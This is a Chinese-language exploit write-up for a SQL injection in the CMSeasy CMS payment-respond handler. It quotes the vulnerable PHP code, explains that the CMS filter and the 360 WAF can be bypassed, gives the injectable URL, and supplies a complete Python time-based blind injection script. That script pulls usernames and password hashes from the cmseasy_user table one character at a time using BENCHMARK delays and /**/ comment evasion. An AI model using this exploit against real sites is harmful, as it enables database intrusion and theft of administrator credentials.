CMSeasy SQL注入漏洞一发（bypass自身与360waf）

function respond_action() {
         include_once ROOT . '/lib/plugins/pay/' . front::$get['code'] . '.php';
         $payclassname = front::$get['code'];
         $payobj = new $payclassname();
         $uri = $_SERVER["REQUEST_URI"];
         $__uriget = strstr($uri, '?');
         $__uriget = str_replace('?', '', $__uriget);
         $__uriget = explode('&', $__uriget);
         $_GET = array();
         foreach ($__uriget as $key => $val) {
             $tmp = explode('=', $val);
             $_GET[$tmp[0]] = $tmp[1];
             if(preg_match('//'|select|union|"/i', $tmp1)){
                 exit('非法参数');
             }
         }
         file_put_contents('logs11.txt', var_export($_GET,true));
         $status = $payobj->respond();

function respond() {
         if (!empty($_POST)) {
             foreach($_POST as $key =>$data) {
                 if(preg_match('/(=|<|>|/')/', $data)){
                     return false;
                 }
                 $_GET[$key] = $data;
             }
         }
         $payment  = pay::get_payment($_GET['code']);

public static function get_payment($code) {
         $where=array();
         $where['pay_code']=$code;
         $where['enabled']=1;
         $payment1=pay::getInstance()->getrows($where);//注入
         $payment = $payment1[0];
         if ($payment) {
             $config_list = unserialize($payment['pay_config']);
             foreach ($config_list AS $config) {
                 $payment[$config['name']] = $config['value'];
             }
         }
         return $payment;
     }

http://localhost/cmseasy/uploads/index.php/?case=file&case=archive&act=respond&code=alipay'

import urllib2
 from time import time
 
 def inject(payload):
     url = 'http://localhost/cmseasy/uploads/index.php/?case=file&case=archive&act=respond&code=alipay'
     req = urllib2.Request(url+payload)
     start = time()
     response = urllib2.urlopen(req)
     end = time()
     index = int(end-start)
     return index
 wordlist = "123456789:;Abcdefghijklmnopqrstuvwxyz{"
 
 def user_pass():
     result = ""
     for i in range(1,40):
         for num in range(len(wordlist)):
             word = ord(wordlist[num])
             times = inject("'/**/and/**/IF(ord(substring((select/**/concat(username,0x3a,password)/**/from/**/cmseasy_user),{0},1))<{1},BENCHMARK(2000000,md5('xxx')),null)/**/and/**/'1".format(i,word))
             if times>1:
                 print str(i)+'<=========>'+chr(word-1)
                 result = result+chr(word-1)
                 break
     print 'username:password<=========>'+result
  
 user_pass()